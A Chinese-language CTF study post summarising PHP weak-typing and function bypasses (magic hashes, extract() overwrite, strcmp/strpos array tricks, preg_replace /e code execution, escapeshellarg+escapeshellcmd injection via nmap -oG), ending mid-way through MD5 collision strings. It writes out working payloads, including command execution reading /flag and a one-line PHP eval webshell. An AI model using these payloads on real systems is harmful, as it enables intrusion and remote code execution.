前言:
做web題時經常會遇到各種php弱類型和一些函數的繞過方法,由於知識比較零碎,就總結一下我所遇到的,也方便自己以後觀看。
0x00:弱類型介紹:
弱類型是可以隨意轉換變量的類型,也就是說php並不會驗證變量的類型,可以隨時的轉換類型,雖然提升了效率,但是引發了很多安全問題。
0x01:Hash比較缺陷
簡單介紹:
PHP
在處理哈希字符串時,通過!=
或==
來對哈希值進行比較,它把每一個以0e
開頭的哈希值都解釋爲0
,所以如果兩個不同的密碼經過哈希以後,其哈希值都是以0e
開頭的,那麼PHP
將會認爲他們相同,都是0
具體實例:
審計代碼,我們輸入的不能相等,但md5
卻需要相等,這明顯的就是利用Hash
的比較缺陷來做
我們只要找出兩個數再md5
加密後都爲0e
開頭的即可,常用的有以下幾種
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
所以構造a=QNKCDZO&b=s878926199a
即可繞過
0x02:extract變量覆蓋
簡單介紹:
extract()
函數使用數組鍵名作爲變量名,使用數組鍵值作爲變量值,當變量中有同名的元素時,該函數默認將原有的值給覆蓋掉。這就造成了變量覆蓋
具體實例:
POST
方法傳輸進來的值通過extrace()
函數處理,我們不知道pass
、thepassword_123
的值,直接傳入以POST
的方式傳入pass=1&thepassword_123=1
就可以進行將原本的變量覆蓋,並且使兩個變量相等即可。
0x03:ereg正則%00截斷及strpos、ereg用數組返回NULL
簡單介紹:
ereg()
函數搜索由指定的字符串作爲由模式指定的字符串,如果發現模式則返回true
,否則返回false
,搜索對於字母字符是區分大小寫的,用於正則表達式匹配。一、
ereg()
函數存在NULL
截斷漏洞,可以%00
截斷,遇到%00
則默認爲字符串的結束,所以可以繞過一些正則表達式的檢查。
二、ereg()
只能處理字符串的,遇到數組做參數返回NULL
。
三、空字符串的類型是string
,NULL
的類型是NULL
,false、true
是boolean
類型
四、strpos()
函數如果傳入數組,便會返回NULL
具體實例:
這道題也涉及了===
和!==
,不瞭解的可以去官方文檔查看一下:
審計一下代碼,第一個if
語句要求我們輸入的值進行首尾匹配必須是1-9
之間的數字,第二個if語句又讓我們利用strpos()
函數查找相應的字符串在輸入的值中第一次出現的位置,且後面是!==
,所以要不讓值相等類型不同,或是值不同類型相同即可。
但strpos()
函數如果傳入數組,便會返回NULL
。利用這個漏洞,便可以構造出繞過的payload
:
?nctf[]=1
ereg()
函數返回NULL,===
判斷NULL和FALSE是不相等的(類型不同),所以進入第二個語句,因爲strpos
處理數組時,也是返回NULL,又因爲NULL!==FALSE
條件成立所以得出flag
除此之外,還可以構造利用%00
來構造payload:
?nctf=123%00%23biubiubiu
0x04:strcmp比較字符串
簡單介紹:
strcmp()
函數比較兩個字符串(區分大小寫),定義中是比較字符串類型的,但如果輸入其他類型這個函數將發生錯誤,在官方文檔的說明中說到在php 5.2
版本之前,利用strcmp
函數將數組與字符串進行比較會返回-1
,但是從5.3
開始,會返回0
。
具體實例:
審計代碼,很簡單關鍵就在於我們如何繞過檢查,構造如下payload
:
#POST DATA
pass[]=1
數組和字符進行比較結果不會返回1
,即爲false
,加上非的作用,即可變成true
,則滿足條件
0x05:SESSION驗證繞過
簡單介紹:
在PHP配置中的默認情況下,
Session
是用Session ID來確定當前對話所對應的服務器Session,sessionID可在cookie
中找到,當我們刪除cookie中的sessionID後,$_SESSION[‘password’]
就會返回空,我們同樣傳入空的password就能繞過了
具體實例:
觀察代碼發現需要我們GET傳入的password
和session中存儲的password
相同纔可以得出flag,如果刪掉session
值,或者修改session值爲一個不存在的session,服務器獲取不到session,則password
爲空,這時候我們再GET進去一個空的password
的進去拿到flag
0x06: sha()函數比較繞過、md5()函數繞過
簡單介紹:
一、
md5()
函數獲取不到數組的值,默認數組爲0
二、sha1()
函數無法處理數組類型,將報錯並返回false
具體實例:
如果知道了sha1()
函數不能處理數組,那這道題將非常好做,構造payload:
name[]=1&password[]=2
注意這裏是===
,不是==
,所以這裏採用md5()
函數獲取不到數組的值,默認數組爲0這個特性來做,payload:
username[]=1&password[]=2
0x07:十六進制與數字比較
php在轉碼時會把16進制轉化爲十進制
payload:
?password=0xdeadc0de
0x08: preg_replace /e 模式下的代碼執行
preg_replace:(PHP 5.5)
功能 : 函數執行一個正則表達式的搜索和替換
定義 : mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject )
搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 進行替換
$pattern 存在 /e 模式修正符,允許代碼執行
/e 模式修正符,是 preg_replace() 將 $replacement 當做php代碼來執行
ZJCTF,不過如此
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
這裏的代碼便涉及到了preg_replace /e 模式下的代碼執行,原理的話師傅講的很明白,這裏不再敘述
https://xz.aliyun.com/t/2557
直接放payload:
\S*=${phpinfo()}
得到flag
?\S*=${eval(getFlag())}&cmd=system('cat /flag');
#最後的分號要加,除此之外,也可以:
?\S*=${eval($_POST[lemon])}
#POST DATA
lemon=system('cat /flag');
0x09:繞過escapeshellarg+escapeshellcmd函數
原理分析:
模仿師傅的例子進行學習
談談escapeshellarg參數繞過和注入的問題
escapeshellarg
escapeshellarg() 將給字符串增加一個單引號並且能引用或者轉碼任何已經存在的單引號,這樣以確保能夠直接將一個字符串傳入shell 函數,並且還是確保安全的。
escapeshellcmd
escapeshellcmd() 對字符串中可能會欺騙 shell 命令執行任意命令的字符進行轉義。反斜線(\)會在以下字符之前插入: &#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 僅在不配對兒的時候被轉義。 在 Windows 平臺上,所有這些字符以及 % 和 ! 字符都會被空格代替。
先通過例子來查看一下escapeshellarg函數的作用吧
<?php
var_dump(escapeshellarg("123"));
var_dump(escapeshellarg("12' 3"));
?>
在解析單引號的時候 , 被單引號包裹的內容中如果有變量 , 這個變量名是不會被解析成值的,但是雙引號不同 , bash 會將變量名解析成變量的值再使用。
所以即使參數用了 escapeshellarg 函數過濾單引號,但參數在拼接命令的時候如果用了雙引號的話還是會導致命令執行的漏洞。
再來看一下escapeshellcmd 函數的作用
兩個函數都會對單引號進行處理,但是有區別的,如下:
對於單個單引號, escapeshellarg 函數轉義後,還會在左右各加一個單引號,但 escapeshellcmd 函數是直接加一個轉義符,對於成對的單引號, escapeshellcmd 函數默認不轉義,但 escapeshellarg 函數轉義
那既然有這個差異,如果escapeshellcmd() 和 escapeshellarg() 一起出現會有什麼問題
測試
結果
分析
一開始傳入的參數
127.0.0.1' -v -d a=1
經過escapeshellarg函數處理,先轉義再用單引號括起來
'127.0.0.1'\'' -v -d a=1'
再經過escapeshellcmd函數處理,數中的\以及a=1'中的單引號進行處理轉義
'127.0.0.1'\\'' -v -d a=1\'
由於這一步的處理,使得\\被解釋成了\而不再是轉義字符,所以單引號配對連接之後將語句分割爲三個部分
因此最後system函數是對127.0.0.1\
發起請求,POST 數據爲a=1'
,如果兩個函數翻過來則不會出現這個問題
接下來就通過一個題目來實踐一下:
Online Tool
代碼中是先使用了escapeshellarg函數,再使用escapeshellcmd函數便會引發上面的問題,再來仔細觀察一下代碼,發現mkdir\chadir
函數,創建目錄和改變當前的目錄,應該是要我們寫文件進去的,system()
函數又是一串namp命令後面拼接上GET傳入的參數,因爲參數經過了上面的參數處理,;
等都會被轉義,所以就要從拼接的namp命令想辦法了,查了百度谷歌沒查到,看了WP才知道
nmap命令中 參數
-oG
可以實現將命令和結果寫到文件(也就是可以寫木馬)
接下來就寫payload,escapeshellarg
函數會先對host變量中的單引號進行轉義,並且轉義之後,在 \'
的左右兩邊再加上單引號,變成 '\''
然後escapeshellcmd
函數,會對host變量中的特殊字符進行轉義
(&#;`|*?~<>^()[]{}$, \x0A//和\xFF以及不配對的單/雙引號轉義)
那麼上面的 \
就會被再次轉義,比如變成 '\\''
如果在字符串首尾加上單引號,經過escapeshellarg
函數之後,就可以實現將單引號給閉合了,在經過escapeshellcmd
函數的時候單引號就是配對的,就不會進行轉義
如:
' lemon shy '
escapeshellarg:''\'' lemon shy ''\''
escapeshellcmd: ''\\'' lemon shy ''\\''
這樣就很好理解了,那就會可以實現單引號的逃逸了,接下來就來測試payload:
' <?php phpinfo();?> -oG 1.php'
如果最後的單引號是沒有空格,則文件名後面就會多出\\,所以後面要加上空格
前面加空格不加則無影響,因爲不會影響到一句話木馬裏面的內容
但還有一個問題,escapeshellcmd會把一句話木馬中的一些字符給轉義的,又該怎麼辦,測試一下在本地傳一下發現雖然看起來轉義了,但寫入的話還是沒有被轉義的。
所以最終的payload:
' <?php @eval($_POST["a"]);?> -oG 1.php '
或
'<?php @eval($_POST["a"]);?> -oG 1.php '
創建的目錄也出來了,寫的一句話木馬文件在該目錄下,連接一下
得到flag
也可以傳一個GET進去,調用system函數
' <?php @eval($_GET["a"]);?> -oG 2.php '
http://e5b384ba-6852-4e3f-9060-c66dc267e554.node3.buuoj.cn/8f9395193b358d86a100d2fd1f0349a2/2.php?a=system('cat /flag');
0x10:md5強類型
(string)$_POST['a1']!==(string)$_POST['a2']
&& md5($_POST['a1'])===md5($_POST['a2'])}
例如這段代碼,使用數組就不可行,因爲最後轉爲字符串進行比較,所以只能構造兩個MD5值相同的不同字符串.
兩組經過url編碼後的值
#1
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
#2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%